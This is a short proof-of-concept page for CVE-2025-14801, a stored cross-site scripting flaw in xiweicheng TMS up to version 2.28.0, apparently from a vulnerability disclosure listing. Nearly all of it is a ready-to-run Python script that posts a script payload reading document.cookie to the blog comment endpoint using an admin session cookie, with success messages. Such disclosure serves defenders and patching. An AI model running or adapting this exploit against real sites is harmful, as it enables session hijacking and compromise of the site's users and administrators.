CVE-2025-14801 xiweicheng TMS存储型XSS漏洞

# CVE-2025-14801 PoC - Stored XSS in xiweicheng TMS # Affected: xiweicheng TMS <= 2.28.0 # Endpoint: POST /admin/blog/comment/create # Vulnerability: XSS via content parameter import requests import json target_url = "http://target.com/admin/blog/comment/create" # Malicious XSS payload xss_payload = "<script>alert(document.cookie)</script>" # Cookie for authenticated high-privilege user cookies = { "session_id": "your_admin_session_cookie" } # POST data with XSS payload data = { "content": xss_payload, "blog_id": 1, # Additional required parameters may be needed } response = requests.post(target_url, data=data, cookies=cookies) if response.status_code == 200: print("[+] XSS payload submitted successfully") print("[+] Payload will execute when comment is viewed") else: print("[-] Request failed")